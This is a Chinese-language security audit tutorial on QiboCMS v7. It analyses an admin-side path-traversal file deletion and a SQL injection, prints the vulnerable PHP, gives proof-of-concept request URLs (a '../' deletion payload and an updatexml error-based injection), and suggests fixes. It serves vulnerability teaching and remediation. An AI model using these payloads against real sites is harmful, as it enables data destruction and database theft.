某CMSv7审计记录
字数 1175 2025-08-29 08:31:47

齐博CMSv7安全审计与漏洞分析教学文档

1. 系统初步了解

1.1 数据库操作类

  • 核心数据库操作类为 $db
  • 类方法定义在 inc/mysql_class.phpMYSQL_DB 类中
  • 系统核心函数与类文件存放在 inc 目录下

1.2 过滤函数分析

系统存在一个基础的过滤函数 filtrate(),但实现不完善:

function filtrate($msg){
    $msg = str_replace("\t"," ",$msg);
    // 其他替换操作被注释或无效
    return $msg;
}

该函数过滤不严格,存在安全隐患。

2. 后台任意文件删除漏洞

2.1 漏洞定位

  • 搜索关键函数:在inc目录下全局搜索unlink
  • 定位到文件:inc/function.inc.php
  • 问题函数:del_file

2.2 漏洞代码分析

function del_file($path){
    if (file_exists($path)){
        if(is_file($path)){
            if( !@unlink($path) ){
                $show.="$path,";
            }
        } else {
            // 目录处理逻辑
        }
    }
}

该函数直接对$path参数进行文件删除操作,未进行任何路径过滤。

2.3 漏洞触发点

文件:admin/mysql.php

elseif($action=='del'&&$Apower[mysql_del]){
    if(!$baktime){ showmsg('请选择一个'); }
    del_file(ROOT_PATH."cache/mysql_bak/$baktime");
    // ...
}

通过控制$baktime参数,可进行目录穿越攻击。

2.4 漏洞利用方法

  1. 首先备份数据库文件(位于\cache\mysql_bak
  2. 删除备份时修改baktime参数为../hack
  3. 实际删除路径变为:ROOT_PATH."cache/mysql_bak/../hack",即ROOT_PATH."hack"

2.5 漏洞验证

构造请求:

/admin/index.php?lfj=mysql&job=del&baktime=../target_file

3. 后台SQL注入漏洞

3.1 漏洞位置

文件:admin/html.php 第296行处

3.2 漏洞代码分析

if($fiddb){
    $stringFID=implode(",",$fiddb);
    $SQL=" fid IN ($stringFID) ";
}elseif($idDB){
    $string=implode(",",$idDB);
    $SQL=" id IN ($string) ";
}
$query = $db->query("SELECT id,fid FROM {$pre}special WHERE $SQL LIMIT 3000");
  • $idDB$fiddb都从GET传入
  • 直接拼接SQL语句,无任何过滤
  • 使用implode函数需要传入数组参数

3.3 漏洞利用条件

  • 需要传入action=make_SPhtml进入漏洞代码段
  • lfj参数需为html
  • idDBfiddb需为数组形式

3.4 漏洞验证POC

使用Burp Suite构造请求:

/admin/index.php?lfj=html&action=make_SPhtml&idDB[]=1)+and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))%23

注意:

  1. 需要将idDB作为数组传递(使用[]
  2. 需要URL编码特殊字符(如#编码为%23
  3. 使用+代替空格绕过某些过滤

4. 漏洞修复建议

4.1 任意文件删除漏洞修复

  1. del_file函数中添加路径验证:
function del_file($path){
    // 验证路径是否在允许范围内
    $allowed_path = ROOT_PATH."cache/mysql_bak/";
    if(strpos(realpath($path), realpath($allowed_path)) !== 0){
        die("非法路径");
    }
    // 原有逻辑
}
  1. 在调用处添加过滤:
$baktime = basename($baktime); // 只保留文件名部分
del_file(ROOT_PATH."cache/mysql_bak/".$baktime);

4.2 SQL注入漏洞修复

  1. 使用预处理语句:
if($idDB){
    $placeholders = rtrim(str_repeat('?,', count($idDB)), ',');
    $SQL = " id IN ($placeholders) ";
    $query = $db->prepare("SELECT id,fid FROM {$pre}special WHERE $SQL LIMIT 3000");
    $query->execute($idDB);
}
  1. 至少添加基础过滤:
$idDB = array_map('intval', $idDB); // 强制转为整数
$string = implode(",", $idDB);

5. 审计方法论总结

  1. 敏感函数追踪:全局搜索unlinkevalsystem等危险函数
  2. 参数传递分析:跟踪用户输入从获取到使用的完整流程
  3. 过滤函数评估:检查系统过滤机制是否完善
  4. 权限验证检查:确认漏洞点是否受权限控制
  5. 利用条件分析:确定漏洞触发的前置条件

6. 扩展思考

  1. 后台漏洞的价值评估:虽然需要后台权限,但可能通过XSS或CSRF间接利用
  2. 漏洞组合利用的可能性:如结合文件删除和文件上传实现更严重攻击
  3. 自动化审计工具的应用:可使用静态分析工具辅助发现类似漏洞模式
齐博CMSv7安全审计与漏洞分析教学文档 1. 系统初步了解 1.1 数据库操作类 核心数据库操作类为 $db 类方法定义在 inc/mysql_class.php 的 MYSQL_DB 类中 系统核心函数与类文件存放在 inc 目录下 1.2 过滤函数分析 系统存在一个基础的过滤函数 filtrate() ,但实现不完善: 该函数过滤不严格,存在安全隐患。 2. 后台任意文件删除漏洞 2.1 漏洞定位 搜索关键函数:在 inc 目录下全局搜索 unlink 定位到文件: inc/function.inc.php 问题函数: del_file 2.2 漏洞代码分析 该函数直接对 $path 参数进行文件删除操作,未进行任何路径过滤。 2.3 漏洞触发点 文件: admin/mysql.php 通过控制 $baktime 参数,可进行目录穿越攻击。 2.4 漏洞利用方法 首先备份数据库文件(位于 \cache\mysql_bak ) 删除备份时修改 baktime 参数为 ../hack 实际删除路径变为: ROOT_PATH."cache/mysql_bak/../hack" ,即 ROOT_PATH."hack" 2.5 漏洞验证 构造请求: 3. 后台SQL注入漏洞 3.1 漏洞位置 文件: admin/html.php 第296行处 3.2 漏洞代码分析 $idDB 和 $fiddb 都从GET传入 直接拼接SQL语句,无任何过滤 使用 implode 函数需要传入数组参数 3.3 漏洞利用条件 需要传入 action=make_SPhtml 进入漏洞代码段 lfj 参数需为 html idDB 或 fiddb 需为数组形式 3.4 漏洞验证POC 使用Burp Suite构造请求: 注意: 需要将 idDB 作为数组传递(使用 [] ) 需要URL编码特殊字符(如 # 编码为 %23 ) 使用 + 代替空格绕过某些过滤 4. 漏洞修复建议 4.1 任意文件删除漏洞修复 在 del_file 函数中添加路径验证: 在调用处添加过滤: 4.2 SQL注入漏洞修复 使用预处理语句: 至少添加基础过滤: 5. 审计方法论总结 敏感函数追踪 :全局搜索 unlink 、 eval 、 system 等危险函数 参数传递分析 :跟踪用户输入从获取到使用的完整流程 过滤函数评估 :检查系统过滤机制是否完善 权限验证检查 :确认漏洞点是否受权限控制 利用条件分析 :确定漏洞触发的前置条件 6. 扩展思考 后台漏洞的价值评估:虽然需要后台权限,但可能通过XSS或CSRF间接利用 漏洞组合利用的可能性:如结合文件删除和文件上传实现更严重攻击 自动化审计工具的应用:可使用静态分析工具辅助发现类似漏洞模式